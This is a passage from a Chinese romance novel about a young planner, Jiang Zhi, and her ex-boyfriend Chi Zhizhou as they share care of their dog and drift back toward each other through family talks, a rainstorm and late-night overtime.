江稚盯着镜子里的自己,努力让表情显得自然一点。
终于,电梯“叮”地一声停了下来。
“让奶糖选,好吗?”池知舟忽然问。
江稚皱眉,“你怎么总想让奶糖选?”
停顿得久了些,电梯门缓缓合上,镜子再次倒映两个人的模样。
池知舟手指还没从江稚衣领离开,目光却对上了镜子里的她,“那你想让谁选?”
江稚看清了这道目光,也瞧见自己极其不自然地快速眨眼。她匆匆忙忙地按电梯键,快步走出去。
这一次池知舟没有再跟上来,站在原地问:“晚上见?”
江稚闷头往前走,用极小的声音“嗯”了一声,也不知他听见没。
……
“你现在解释,别给我装聋。”江稚把试图在椅子上躲避询问的周嘉月转过来。
“两本书就给你打发了?我们的友谊还不抵这两本书?”
江稚吊着眉梢,板着脸,当场升堂。
“你别上升到这种高度啊。”周嘉月赶紧从抽屉里抓了几包小零食,划着椅子靠过来,“你听我狡辩。”
“你最好狡辩得合理一点。”江稚把小零食收紧自己抽屉,特别用力地压到那张合照上面,但也没有觉得多解气。
“不是故意约好的。”周嘉月说,“真是上楼去遇着的。”
江稚问:“你是说池知舟闲得没事,每天就带着两本平常压根不瞧的书去工地现场?”
周嘉月哭笑不得,“理论上应该是这样,哎,我可跟你说,这两本书难抢,我这算是沾你的光。”
“什么话。”江稚下意识地去戳桌上的摆件,“你说他做那么多,就为了想见我?”
“那肯定不是为了见我。”周嘉月双手摆在耳边,“你要特生气,我看完就把书还他。”
江稚被逗笑,“别啊,都花了钱的。”
周嘉月歪着头看她,“我主要是,看你想见他。”
“我没有。”江稚条件反射地否认。
“得了吧。”周嘉月说,“我还不知道你?”
江稚发现自己无法反驳,随即说:“你带歪话题?周嘉月,现在是我在审你。”
两人嘻嘻哈哈笑起来,直到一本策划册伴随着S家香水重重地摔在江稚桌上。
全公司只有一个人钟爱这款香水,锋利张扬。
许悦站在那,左手还保持着甩东西的姿势,“改这个方案。”
“哦。”江稚收敛笑脸。
“下午三点给我。”许悦的时候脸上的妆容都没什么变化。
“等等。”江稚喊住她,“你手受伤了。”
许悦手背上一大片青紫,颜色深得发黑,从腕骨一直延伸到指节。听见江稚问起,她下意识地把手背在身后,语气更加冷硬,“别管。”
“我这有药酒。”江稚弯腰去翻脚边的柜子,周嘉月往后蹬地滑开椅子给她腾空间。
“少套近乎,做好你的工作。”许悦并不领情,说完就走,留下两人面面相觑。
“当了组长就是……”周嘉月摇摇头,回自己工位。
江稚若有所思地朝人离开的方向看了半天,最后收回目光,低头翻开策划册。
临近下班时间,视觉效果那边因为创作方向吵了起来,结果吵了个寂寞,客户那边再次更改产品,堪称极品背刺,再加上最近一个广告投放效果追踪不理想,紧急召开补救会议。
这些消息,每一句话都是让策划人听得想自拔头发的程度。
加班在所难免,江稚提前给池知舟发了消息,对方很快地回了个“好”。
江稚也没多管,放下手机继续工作,倒是周嘉月接了个电话后就离开下楼。
楼下,池知舟拎着三袋饮料等在那。
“不知道你们爱喝什么,我就都点了,拿去同事一起分着喝吧。”
周嘉月接过来,却没立即走。
她斟酌了一下措辞,才说:“池知舟,我、你,还有梁书元,咱们也算几年的朋友了,你和江稚这件事,我得先说清楚,要你们真是因为什么底线问题分手,我肯定是站江稚那边。”
池知舟点了点头,“应该的。”
周嘉月一噎,“真是因为底线?你劈腿了?”
“我没有。”池知舟顿了顿,“江稚没有告诉你为什么吗?”
“没有。”周嘉月调整了一下拎着袋子的姿势,“要她说了我还能问你?”
池知舟仰头看看江稚所在的那层办公楼,半天没讲话。
周嘉月看他这样子,迟疑了一会,问:“你不会……你也不知道为什么?”
*
“我不知道。”
江稚捏着筷子,面对父母的问题恨不得把自己淹死在饭里。
陈韵如连着打了两天电话让江稚回家吃饭,江
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明德就在旁故意夸张地赞叹陈女士近来的手艺,其用心之明显,江稚几乎觉得自己是要赴一场鸿门宴。
果不其然,人刚坐下,话没讲几句就明晃晃地开始提池知舟,旁敲侧击都没耐心,直接开门见山。
“丫丫。”陈韵如轻声问,“吵架吵生气了吗?怎么就分手啦?”
丫丫是江稚的小名,陈女士想认真聊天的时候就会用这个词开口。
“我不知道。”江稚闷头吃饭,咽了一口菜小声说,“你俩这燕国地图也太短了。”
“又在说什么?”陈韵如给女儿夹了块排骨,“我和你爸是担心你。”
“图穷匕见你们知道吧?”江稚戳了戳那块排骨,“燕国地图后边就是小刀子,你们现在就是拿小刀子戳我。”
“瞎讲。”江明德故作严肃,“我和你妈妈想你得很。”
“我信呢。”江稚叹气,“你俩明明就一直更喜欢池知舟一些。”
“说起小舟啊……”陈韵如又给女儿夹了块虾。
“哎。”江稚护住自己碗,“也不用说起。”
陈韵如避开她的手指把虾放进去,“小舟前几天去看他爸妈了,你顾阿姨说人瘦了。”
“没有吧。”江稚垂着眼说,“昨天见着还好啊。”
“你俩还见着呢?”江明德问。
陈韵如看了丈夫一眼。继续说:“对了,丫丫,下周你顾阿姨生日,到时候你和小舟……”
他们两家从小住一个家属院,直到几年前房子拆迁才各自搬家,两家父母关系一直不错。
“丫头都分手了。”江明德讲,“要我说,分了也好,咱们丫丫上哪不受欢迎?那池知舟看着就不像个能安分过日子的。”
“爸……”江稚皱眉,“也别这么说他。”
江明德:“还护着呢?”
陈韵如轻轻拍了丈夫一下,“老江,你这话说的,小情侣分手多正常啊,咱们当年还不是分分合合多少次。”
“那不一样。”江明德说。
“哪不一样了?”陈韵如笑着问。
“池知舟哪能和我比?”江明德给女儿和妻子续了饮料,琢磨了会,改口说,“其实那小子也不错,这么多年规规矩矩的,有时候丫丫也不太懂事。”
江稚瞪大眼,“爸,你到底是哪边的?”
“你爸我好歹是个长辈。”江明德理直气壮地说,“说话得公允些。”
“妈,你不管啊?”江稚转头问陈韵如。
陈韵如被这俩活宝逗得直乐,笑着说:“管,妈妈改天给你换个爸爸。”
一顿饭吃得和和乐乐,过后江明德扫着地,绕去沙发边冲江稚说:“她啊,在你和我之间,还是爱我多一些。”
说完,他还得意地瞥了眼厨房里的背影。
这种秀恩爱都成了饭后习惯了,江稚忍不住笑,“你酸不酸啊?”
陈韵如出来桌上收拾剩菜,听见这句话,跟女儿说:“别听他的,以后你改口叫他叔叔。”
江稚对着爸爸“哼”了一声。
江明德只当自己没听见,美滋滋地扫地。
又了会,他神秘兮兮地朝女儿打手势,“走,跟爸爸下去说说话。”
江稚往沙发上一躺,“我不想听教育。”
江明德拎上钥匙冲她招手,再三明示,江稚这才去拿外衣。
陈韵如从厨房探出头问:“干嘛去?”
江稚爽朗地答:“我去送送叔叔。”
江明德听得在玄关处笑起来,“臭丫头。”
6. 暴雨
父女俩在小区花园溜达了大半圈,眼瞅着天要彻底黑了,江明德才小心翼翼地问:“丫头,没受欺负吧?”
江稚笑着摇头,“哪能啊,你闺女还能让人欺负了去?”
“那就好,爸知道你主意大,就怕你难受不往家里说。”江明德挥了挥自己的手臂,“爸还有点力气,要是那小子真做了什么对不住你的事儿,我给他牙打掉。”
江稚笑嘻嘻地挽住爸爸手臂,“知道啦知道啦,你厉害着呢!”
她嘴上如此说着,思绪却回到那一天——她和池知舟第一次对家里说开始交往。
初冬,傍晚,气温并不温暖,天头挂着蓝紫色的薄霞,像是错季而降临的夏天。
晚霞打进客厅,全家都挂上了漂亮的颜色。
池知舟郑重地站在玄关处,捧着精心挑选的礼物,客厅里坐着两家爸妈。
长辈们是看着这两个孩子长大的,心照不宣地知道他们会成为情侣。但真到两人宣布恋爱关系的时候,饭桌上还是出现了短暂的沉默。
饭后,江明德特意把池知舟叫去阳台。
夜色渐深,江稚看着两个男人的背影,听见爸爸说:“我家这是女儿,我当爹的多少会自私些,小舟,你要对得起江稚。”
那时候她还觉得爸爸太啰嗦,直到后面晓得这句话是当年江明德和岳父之间的对话。
江稚明白,爸爸是喜欢池知舟的。
那天晚上,池家人走了后,妈妈笑着说这孩子,认识那么多年还这么拘谨,水都不敢喝一口,以后要被江稚欺负的。
爸爸却说,这样挺好,小舟知道疼人就好。
他们分手这事,说到底是她不敢面对真相。
池知舟不同的模样就像刀一把,不断地割着她的安全感。
江稚不能告诉周嘉月,因为她不想池知舟被奇怪的眼神对待。这事也没法和父母说,她开不了口。
而且,池知舟听了分手,答应得快,没有挽留,也没有多余的询问。
江稚磕磕绊绊地说,池知舟安安静静地听,全程都垂着眼,就连最后也只是不轻不重地说了个“好”字。
江稚无法用文字形容当时的心情,最开始她想,果然是这样,之后又恼火地想,你真把我当工具了?
总是就是难受,一颗心像是被丢进海里泡了几十万年的棉花球,吸饱了咸涩,重重沉沉地躺在那,没人记得要捞起它。
现在,路灯在头顶亮起,江稚看着自己被拉长的影子,心里像是压了块大石头,刚刚好卡在那,砸不下去,又挪不开缝隙。
江稚没由来地感受到一阵委屈,她小声问爸爸:“我都这么大个人了,恋爱都谈不明白,我是不是特别失败?”
江明德脚步一顿,转头望向女儿,“爸爸永远不会觉得你失败。”
父亲的声音很轻,像是怕吵到这个静谧的夜。
江稚眼窝一酸,却还没来得及感动,就听爸爸爽朗道:“你小时候数学考个位数我都没放弃你,现在更不会。”
江稚愣了愣,哭笑不得,“爸,你自己听听这是安慰人的话吗?”
江明德揉揉女儿的头,“事实嘛哈哈哈。”
江稚认真地说:“反正这件事你们别管了,你们不懂。”
“哎哟,我好歹是结过婚的人。”江明德说,“你来跟我比经验啊?”
“情况不一样。”江稚拽着爸爸继续往前溜达。
又过了会,江明德开口:“当年我和你妈就这样。”
“嗯?”
“我那会不知道怎么说话,一门心思就想多挣钱,有时候忙得顾不上来,你妈准备好了饭,我也只能回来对付两口,拎了包就走。我不知道呀,她做那一桌子饭得花多少心思和时间。”
江明德仰头看着楼上那盏亮着的灯,“出差也多,一个月回来一次,有回见她把头发剪了,我就说啊‘你怎么把头发剪了?我喜欢长发,你这样怪怪的’。”
他转头对江稚说:“你可别笑,现在听起来好玩吧,她可是气得拎上行李就回了娘家,我当时觉得天都塌了。”
江稚就捂着嘴笑,“那你这不是找骂么。”
“谁说不是呢?”江明德示意女儿一起去长椅上歇歇,“可当时我就是不知道啊,我把人从你外婆家哄回来,哄了好久,她才愿意告诉我,讲那会就时兴这种发型,她想美美的在家等我。”
“其实有时候啊。”江明德拍拍女儿的肩膀,“不是真有什么大事,就是觉得对方不在意自己,感情嘛,翻来覆去不就这点事儿吗?爸看你喜欢得很,要还能谈,咱就好好说。”
江稚若有所思地低下头,心里跟上了发条一样紧巴巴的,片刻后小声问:“要是真谈不成了呢?”
江明德偏头看了她一眼,而后说:“那不过就是换一条路走,爸爸和妈妈会陪着你。”
“嗯。”江稚瓮瓮地回了一声,晚风渡来凉意,她裹了裹外套。
“好了。”江明德正色道,“现在我要说正事了。”
“合着我不是正事啊?”江稚略带震惊地转头看爸爸,“您这父爱怎么稍纵即逝的。”
“别捣乱。”江明德拿出手机,打开购物软件,划拉几下后递给江稚看,“我要给你妈买条裙子,你看看,灰色好还是粉色好?”
江稚趁机报复,“你为什么不两条都买?你不爱我妈?”
江明德:?
*
回了家,江稚回想着爸爸说的话。
是在乎的吧,她想。哪怕现在分手了,池知舟还总是会在天气有异常的时候给她发消息提醒,这些细节不曾间断过。
江稚决定主动出击,直接询问。
【JZ】:池知舟,你觉得那件事就那么重要吗?不做不行?
按完发送键,江稚像是电烫手一样把它扔到旁边,等它响起,她连忙捡起来看。
【舟】:分手的理由是因为这个?
【JZ】:是。
这次等了很久,池知舟才回复消息:很重要,一定要做。
江稚看着这行字,心一点点沉了下去。
她忍不住打字问:为什么?
【舟】:因为这是每对爱人都会做的事情。
江稚难过得说不出话,等意识过来时,她已经哭了起来。她想起那些令人不安的时刻,每次亲密接触,池知舟总是那么急切,仿佛按照程序在完成任务。
另一边,池知舟在家里衣柜面前,手里捏着那个深蓝色的丝绒盒子,里面那对戒指至今没有机会展示给它们的主人看。
“是因为这个吗?”他低声喃喃。
是因为他稍微露出些想要求婚的端倪,所以江稚要分手?
江稚用毯子裹住自己,看着池知舟的消息,过了很久,她输入:你让我生气,我要拉黑你两天。
池知舟把盒子放回柜子里,沉默地看着手机屏幕。
奶糖不知什么时候凑到了他脚边,用脑袋蹭他。
池知舟蹲下身,揉了揉它的脑袋。
“你要帮帮爸爸。”他轻声说。
奶糖尾巴摇了摇,趴得更近了些。
池知舟想了想,发送消息:我们约好了后天来看奶糖。
江稚的指尖在屏幕上来回滑动,终于,她回:好吧,那就拉黑一天。
【舟】:你要记得把我放出来。
【JZ】:收到。
池知舟揉着奶糖的耳朵,问小狗:“你想她吗?”
小狗没有回答,热情地舔了舔他的手心。
*
周五,江稚很守约地把池知舟从黑名单里放了出来。
但一整天都没收到他的消息,她时不时地检查手机,连周嘉月递咖啡过来都没发现。
“咋,出门没带灵魂?”周嘉月在她面前挥了挥手。
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“没。”江稚把手机扣在桌上。
周嘉月投去了然一眼,问:“这周末咱们不是要聚会吗?想好去哪里没?”
“咱们自己做饭吧。”江稚提议。
“醒醒,咱们没有那个水平。”周嘉月把咖啡往前推,“一会凉了,这次我自己买的。”
“你怎么先草木皆兵了。”江稚好笑地拿起来抿一口,然后不适地转了转脖子,“今天感觉好憋啊。”
窗外明明阳光明媚,却无端让人觉得压抑,闷闷的。
“是啊。”周嘉月奇怪地看着窗外,“闷得很,也不像要下雨啊。”
……
临近下班,池知舟都没消息,要怎么走?一起吗?还是他先回家等?
江稚拿着手机不知道该问那一句,以至于手机猝不及防响起来把她吓一跳。
【舟】:你今天开车了吗?
【JZ】:我今天限号。
池知舟迅速在手机里打下一行字,耳边是隔壁工位的同事在聊天。
“哎,这天气预报不是鬼扯吗?这天哪里像是今晚八点会下雨的样子?”
他打开天气预报,果然看见了暴雨预警,继而手指稍微停顿,切换回聊天键面,输入:要么明天吧,今晚会下雨,你带着奶糖走不方便。
还没来得及发送,隔壁的同事已经聊到了下一个话题。
“怎么办啊,我前女友拉黑我之后就不回消息了。”
“你没打电话?”
“没有啊,她说想静静,这一静就再也没找我了。”
“兄弟,你追人得有点诚意吧?要是真听话的消失,那不就真退出她的生活了?”
“大师!快快支招!”
池知舟不动声色地脑袋往那边偏了点。
“你得动点小心思增加两个人相处的时间啊!见着面再说,嘴巴好听一点,她说什么你都顺着。”
池知舟坐直身子,盯着屏幕看了好一会,最终删掉了那行提醒的话。
好半天,江稚才收到消息。
【舟】:我今天稍微有点事,你可以等我到七点吗?
*
池知舟今天很奇怪。
江稚本以为他又要搞什么幺蛾子,但他一反常态,开车接上人就直奔家的方向。
到家后说先带奶糖去上厕所,回来后也真的没有再搞什么营养膏,就是像之前一样,让奶糖自己选。
中途只是说自己换身衣服的时间,随手给奶糖抛了个玩具。
那是一个橘红色的小球,奶糖很喜欢,叼着它跑来跑去,把里面的小铃铛颠得阵阵发响。
“新买的?”江稚问。
“买了好久了。”池知舟回。
也是因为奶糖太喜欢这个玩具,所以试着让它在两人中间坐好就花了很多时间。
好不容易奶糖安静下来,窗外炸开一声雷。
奶糖吓得浑身一抖,拼命地往江稚怀里钻,颤抖着试图缩成一团。
雷声越来越大,雨点噼里啪啦砸到窗上,江稚偏头去看,这才发现外面不知什么时候已经完全黑了,雨幕中什么都瞧不清。
池知舟拉上窗,回身过来蹲下一起安抚奶糖,轻声说:“这个天气开车不安全。”
“……稍微等等呢。”江稚避开对方的手。
打在窗上的声音密得像是鼓点,雷没有再劈,但是雨势丝毫不见小。
奶糖怕过那一阵之后就好了,又开开心心地在家里玩玩具。
江稚坐在沙发上,数不清第几次望向窗外。
池知舟在她身边,忽而开口:“奶糖选了你。”
江稚:“我要带它回家的。”
“奶糖淋雨会生病的,你也会。”池知舟又说。
江稚:“……这雨也太巧了吧。”
池知舟垂着眼说:“留下吧,我睡沙发,给你换新床单。”
7. 陪伴
雨声依旧密集,水珠子不要钱似的噼里啪啦砸下来。
江稚坐在床上发呆,床单被套都换了,整个空间充斥着洗涤剂的味道。
池知舟敲门进屋,把薄毯递过来,“有点降温,你多盖一床这个。”
江稚郁闷地把毯子裹去肩上,继续发呆。
池知舟:“在想什么?”
江稚瞥了眼窗外的暴雨,叹气道:“想报警把雷公电母抓起来。”
池知舟失笑,自然不已地接了话,“别吧,他们也是履行职责。”
江稚靠去床头,“你就帮外人说话。”
她坐在床上,头发因为披毯子的静电而弄乱了几缕,把主人气鼓鼓的情绪表达出来,这个人像是回到了十几岁的样子,讲着孩子气任性的话。
说不出的可爱。
池知舟想揉一揉江稚的头发,就像从前做过无数次的那样,可手抬到一半,江稚若有所感地仰起脸,四目相对,连呼吸声都听不着了,只有雨声淅沥。
他收回了手,江稚迅速低下头。
尴尬无声降临。
奶糖就在床边,用湿凉的鼻子蹭了蹭妈妈的手指,试图争取一个上床睡觉的机会。
江稚有心想开口申请,但为什么不能和奶糖一起睡觉,二人心知肚明,稍微想想就会脸发烫。
池知舟把奶糖拉得离开床边,清了清嗓,“还有什么需要的吗?小夜灯,要吗?”
江稚闻言,这才放目去搜寻床头柜,先前他们睡觉一定会开小夜灯,因为池知舟说自己怕黑。
这怎么自己才搬走,就不怕黑了?
“不用。“江稚收回目光,低头揪着手里的薄毯,“我睡觉很老实的。”
她说完就后悔了,这话怎么听怎么有歧义。
池知舟看了人几秒,喉结滑了滑,“我知道。”
江稚:“……不用每句话都回答。”
“有事叫我。”池知舟退去门口。
江稚点点头,看他轻轻把门带上,这才长舒了一口气,把自己摔进柔软的被褥里。
口鼻之间尽是池知舟惯用的柔顺剂的味道,让人既安心又意乱。
江稚翻来覆去,怎么都睡不着,忍不住拿起手机,屏幕的亮光让她眯了眯眼——十一点。
这真是一个很尴尬的时间,要是看剧或者刷短视频,那只能越瞧越精神,不健康。要是找人聊天吧,这个点也很容易打扰到别人,不礼貌。
于是江稚打开了和池知舟的聊天框。
【JZ】:我把奶糖带回去,你不准再来偷。
屏幕上方立刻显示对方正在输入中。
【舟】:你会换密码吗?
江稚对着这条消息皱了皱脸,鬼使神差地发了句话。
【JZ】:你会换吗?
【舟】:我不会。
他回答得迅速且笃定,江稚心头没由来地烫了一下。
710601,这是池知舟的家门密码,是两个人的生日。
手机再次震动,他又问了一次。
【舟】:你要换密码吗?
【JZ】:我考虑考虑。
门外,池知舟靠在沙发上,把这条消息看了好几遍。奶糖把脑袋凑过来,他很大方转过手机让小狗看屏幕,分享喜悦。
门内,江稚等了半天没等着回信,难免有些懊恼,都说到这份儿上了,怎么一点表示没有?
她正想着要不要重新发一条,手机忽而震动起来。
江稚迫不及待地点开,然后笑容消失。
【陈不人】:小江,客户对提案的slogan不太满意,你今晚改三版发给我,图标也要配合着改三版风格,周一第一时间我给客户发过去,很急[呲牙]。
陈不人,本名陈仁,是公司副总,其人言行和这名字十分不搭,时常出没于半夜和周末,张口就是“很急”两个字,尤其喜欢在老总面前说“某某项目的方案我让他们连夜改好了”这句话,好显示自己特有能力。
而且他拥有一套感人至深的逻辑,从不内耗,乐于质疑别人。要是遇着别人真挑不出错来的时候,他就会开始质疑上帝。总而言之,全世界都有错,除了他。
比如现在,江稚不晓得提醒了陈不人多少次了,客户的那个LOGO压根就没把源文件发过来,她改不了。但话在面前,只能又提醒一遍。
【JZ】:陈哥,标语我之前做了五版,可能你没瞧见。
她在聊天内容搜索里找到之前的文件又发了一遍。
【JZ】:至于图标,客户对接方说明过不希望我们乱改他们的LOGO,所以没有给源文件。
手机震了震,陈仁发来一条语音,点开先听见那边乱糟糟的喊拳的吆喝声。
“小江啊,我们作为业内优秀的企业,当然不能客户说什么就只给什么吧,教了你多少回,你年纪轻,爱顶嘴哥哥我知道,但是工作就是工作,你改三版发给我。”
这装货已读乱回。
陈不人连矢量图案是什么都不知道,开口就是改几个。
江稚真挚地问候了一下领导的发际线,想着上辈子杀人放火,这辈子当牛做马。
改东西也不麻烦,问题是今天她没带电脑,池知舟书房里倒是有台式机,还装了AR。
江稚裹着毯子出了卧室,打眼就瞧见池知舟躺在沙发上,腿抻出去好大一截,画面瞧着有点委屈。
“怎么了?”看见人出来,他撑起身子问。
江稚紧了紧身上的毯子,“那个,不当人临时让我改方案,能不能借用一下书房。”
“陈仁?”池知舟眉头皱了一下,推开身上的薄被坐起来。
“只有他爱折腾人。”江稚无奈地应声。
池知舟起身往书房走,“来吧。”
江稚打开文档的扫码准备先登录文档软件,却发现自己的头像还挂在这台电脑的使用者里,她点进去,先前使用的记录就自动展现。
池知舟没删她的使用者账号,就这么原封不动地留着,连她常用的软件快捷方式都留在桌面上,和记忆中的位置一模一样。
她愣了愣,放下手机,心里说不上来是什么滋味。
奶糖困得走路都晃荡,打着哈欠跟了过来,小狗蹭蹭江稚的拖鞋,找了个舒服的姿势在她脚边窝下。
江稚弯身揉了揉奶糖,深吸一口气,点开工作文件,最后问池知舟:“不打扰吧?”
“不打扰。”池知舟回,“我也有工作。”
江稚:?
你刚才不都睡下了吗?
没一会,池知舟抱着自己的笔电走了进来,在书桌另一头坐下,顺手翻开桌上的文件,全程一句话没说。
江稚动作顿了顿,偷瞄这个人。
她想说你不用配合我,或是不用陪着我,但又觉得矫情。
池知舟始终没有抬眼,突然有了动作,江稚连忙心虚地盯着电脑。
池知舟拿起手机发消息给梁书元,发的语音:“你不是要把那家酒楼的概念方案今晚发我吗?我来扩初。”
江稚听了一耳朵,这才安安心心地对比着图案,在能力之内改换图标风格。
池知舟手机震了震,梁书元回的是文字,估计那边不方便说话。
【梁】:大哥,我在为了公司陪老头吃饭,这个点还没散,你别跟我说工作这么晦气的事。
池知舟瞟了眼书桌对面专心工作的人,面不改色地回梁书元:“嗯,你现在直接发给我就可以。”
手机再震。
【梁】:?
……
雨停了。
两人安静地工作。
江稚这边进入了收尾工作,她有个习惯,喜欢把要检查的文件发去手机里一份,再对比着屏幕上的内容,这样可以减少犯错几率。
池知舟抬眼看她开始转着脑袋检查着手机和电脑上的内容,又等了会,看江稚满意地放下手机,池知舟这才合上手里的文件,推门出去。
江稚听见厨房响起熟悉的声响,她忍不住偏头看外面的光亮,又在听见脚步声折回来时继续看屏幕。
“喝完再睡吧。”池知舟端来热牛奶。
“谢谢。”江稚接过杯子。
“不用。”
牛奶再好喝也喝不出花来,但池知舟每次递过来的都是最适合的温度。
江稚抿了一口,突然想起之前爸爸说的话:“不是真有什么大事,就是觉得对方不在意自己。”
她捧着杯子想:可池知舟明明是在意的啊。
江稚一手抬着杯子,一手把文件
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发给陈仁,瞟见聊天列表里池知舟的那一行,还停留在江稚发过去的最后一句话。
她若无其事地喝着牛奶,“不当人虽然什么都不懂,但回消息的速度还是可圈可点的。”
不像池知舟,有时候聊得好好的,江稚期待着他会回什么,这个人就突然消失,等之后再问起,他也只是淡淡地说自己瞧见了。
瞧见了不回,这不让人听得牙痒么?
桌对面,池知舟抬头看了过来。
江稚随意地说:“你怎么老不回消息?”
池知舟合上笔电的动作一滞。
江稚从小都鬼灵精怪的,经常说些很讨喜又可爱的话,池知舟很喜欢那些话,但他知道自己没法说什么漂亮话回答,说多了显得无聊,说少了又敷衍,偶尔说错话,还让人生气。
不知道回什么。
江稚在意的吗?
池知舟垂下眼。
江稚关机伸了个懒腰,手机震动了一下,屏保上显示来信人是池知舟。
她狐疑地看了眼对面收拾着手机和笔电起身的人,没有收获眼神回应。
江稚打开聊天框。
【舟】:以后都会回的。
她怔怔地捧着手机,说不上来心里头什么滋味,最后邀请奶糖一起看手机屏幕。
“你看这个人是不是有病?”
小狗打了个哈欠,站起来甩甩身子。
*
池知舟非要送人。
下过雨路面上汪着积水,奶糖穿着雨衣,但是没穿水鞋。兽医说过小狗穿鞋会很不舒服,所以江稚宁愿多花时间给奶糖洗爪爪,都不愿意让它不舒服。
奶糖病后打疫苗花了点时间,这还是它第一次玩水,不同于之前雨夜被抛弃的绝望和冰凉,这次快乐的小狗有爸爸妈妈陪着,它兴奋地探索这个世界,尾巴摇得像个螺旋桨。
江稚任它撒了会欢,才找了块干的地面给奶糖擦爪子,池知舟拎着大包小包在旁陪着。
“小池,小江!”热络的寒暄响起,是一栋楼的王阿姨,坐电梯时常遇见,她喜欢这小对漂亮孩子,也喜欢奶糖,天天念着要不是她经常出去旅游,好赖也得养只狗。甚至还经常烤小蛋糕,给小情侣投喂。
这会王阿姨拎着菜,“又下来遛狗哇,哎哟,你们感情真好。”
她说着,目光落在摇头晃脑的奶糖身上,“小奶糖也长大啦!快让奶奶摸摸!”
奶糖开心地送上自己的脑袋。
王阿姨高兴,难免又旧话重提,“要是我家那丫头能和你们一样省心就好咯,看你俩多好呀。”
江稚不忍心打断王阿姨的情绪,礼貌地笑着应和。
“对咯。”王阿姨忽而想起来,“你俩快结婚了吧?日子选好没?今年好几个不错的日子呢。”
江稚一愣,随即推了推池知舟的手臂,让他来回答。
池知舟笑着看了一眼江稚,回答王阿姨:“我听小江的。”
江稚:?
她凑过去小声质问:“我让你这么说了么?”
池知舟偏头,“下次不这么说了。”
王阿姨看他们这样子,也笑开了:“哈哈哈,不是阿姨要多嘴,就是我几个老姐妹说今年好日子真的多,阿姨也没啥给你们的。”
“阿姨别这么说,我们很感谢你的小甜点。”
池知舟和王阿姨又说了几句才去开车。
江稚抱着奶糖坐进后座,控诉道:“我之前怎么没发现你脸皮那么厚?”
池知舟正透过后视镜看她,“梁书元说今天去你家聚会?”
“那怎么了?”江稚问。
池知舟:“我没地方吃饭。”
江稚都听不下去,“得了吧,今天你去不方便。”
池知舟又从后视镜看她。
江稚想起刚才这人在王阿姨面前的样子就恼火,没好气地说:“今天,庆祝我和你分手的聚会,你要去?”
这话的拒绝意味已经足够明显。
池知舟慢条斯理地拨下档杆,“那说起来,我也是主人公。”
江稚听得气笑了,“说你脸皮厚你还真不客气?”
池知舟松开刹车,轻轻踩下油门,语气和车速一样轻缓。
“我去打下手,做完饭我就走。”
8. 祝福
今日大晴,阳光温柔地躺在水洼里,柏油马路上微光闪烁,铺了层星星一样。
驾驶人心情良好。
抱着狗的人稍微有点不同,江稚揉着奶糖的耳朵,听了这种强词夺理的话也不知道该怎么反驳好。
车里放着歌,是她最喜欢的那张专辑。
池知舟没有换掉它。
奶糖喜欢在坐车的时候看外面的风景,但也很懂得端水,小狗看着外面快乐一阵,又转头蹭去妈妈怀里分享快乐。
江稚笑着rua它,“就你会卖乖。”
池知舟目视前方,“它以前可不是这样。”
江稚还嘴:“明明一直都这样,有事就往人怀里钻,打针的时候也是。”
池知舟笑了下,“遗传你。”
江稚一愣,随即反应过来他在说什么,“你少胡说,我不爱往人怀里钻。”
池知舟眼睛弯出一个更大的弧度,“我说打针,你在说什么?”
“我。”江稚语塞,对上后视镜里那双眼,心口又被烫了一下。
“我打针也不怕。”她下意识地找补,说完这一句还不算,补充,“从小都不怕。”
有些欲盖弥彰了……
“是吗?”池知舟拖长音调,尾音拖得又慵懒又温柔。
他打了把方向,转头看窗外,车子在积水的路面平缓地驶过街角,然后再抬臂回正方向。这个动作让他藏在深灰色卫衣下的肩线微微起伏,布料随着动作被柔软地挤出皱褶,再缓缓抹平。也是因为转头,他的下颌线被绷直,没入干净利落的脖颈线条,喉结滑动了两下。
江稚看着池知舟的侧脸,心里暗自嘀咕:“不准被美□□惑,这个人到晚上是变态!”
排进等红灯的队伍,池知舟久久等不到回应,于是转头看了江稚一眼,“怎么了?”
“没事。”江稚迅速扭头。
“那年你发烧39度,都烧迷糊了,还记得要害怕打针,一个劲往人怀里躲。”池知舟看着面前来往的车流,轻声回忆。
具体是往谁怀里躲自然不用多说,江稚就是疑惑,“你今天非得提这事是吧?”
“好,不提了。”池知舟说。
江稚不服,“就我怕打针吗?你,你之前去打疫苗不是也得拉着我吗?”
池知舟好笑道:“我是怕呀,所以才拉着你。”
江稚眯了眯眼。
这人怎么回事?以前死活挤不出一句好听的话,现在张口就来?
然后,她意识到他们在用非常熟稔的语气谈论过去,这个可要不得。
“别讲这些了,那都以前的事儿了,该翻篇就翻篇。”
池知舟手指在方向盘上轻轻敲了两下,没有接话。
周末太堵,走走停停才过了两个路口,江稚无聊地开始刷手机。
车上看手机对眼睛不好。
池知舟再次开口,“你旁边那个纸袋里有草莓,记得戴手套。”
江稚:“我不吃。”
池知舟:“买给奶糖的,你要吃,得问它。”
江稚来劲了,“是它得问我。”
她忍不住瞄了眼旁边的袋子,里面有个保鲜盒,旁边放着一盒手套。
“奶糖。”池知舟从后视镜看了一眼,“你妈妈好像想吃草莓。”
“你别说话。”江稚拿出草莓,挑了三颗出来盖好盒子,往嘴里塞了两个,也没着急嚼,剩下的那个掰成两半,一点一点喂给奶糖。
她们一起吃,甜香的汁水在口腔蔓延。
“甜吗?”池知舟问。
江稚:“不甜。”
池知舟轻笑了一声,然后说:“奶糖,爸爸也想吃草莓怎么办?”
江稚脱下手套,捂住奶糖的耳朵,“别听,咱以后都不见他了。”
奶糖可开心了,摇着尾巴,看看妈妈,又瞅瞅爸爸。
“你看。”池知舟说,“奶糖喜欢我。”
江稚低头亲了亲奶糖的额头,“小叛徒。”
车子又停在一个红灯前,池知舟忽而说:“江稚,你对谁都很大度,分我点吧?”
他声音太轻了,甚至带着些哄,落在耳朵里酥酥麻麻的,江稚忍不住抬手扯了扯耳朵。
“多大人了还那么嘴馋。”她抿了抿嘴,伸手去纸袋里拿手套。
池知舟声音忽而压低,说不清道不明的认真。
“你知道我说的不是草莓。”
江稚的手指和心脏蓦地收紧,下意识地别过脸,“听不懂你在说什么。”
“如果你不喜欢,你不想。”池知舟讲得很认真,“我们可以慢慢来。”
江稚难以理解地盯着人,“你那是慢慢来吗?你就像,你,你就像个坏掉的开关一样,饿死鬼。”
这次轮到池知舟哑口无言,半天才问:“你这比喻,我罪不至此吧?”
“可太至于了。”江稚俯身去抱奶糖,借此掩盖自己发红的耳朵,“我不想聊这个,别提。”
她开始回避,池知舟就不再往下接着说。
车里只剩下音乐声。
池知舟去江稚家,准确来说是江稚这套房子不需要导航。
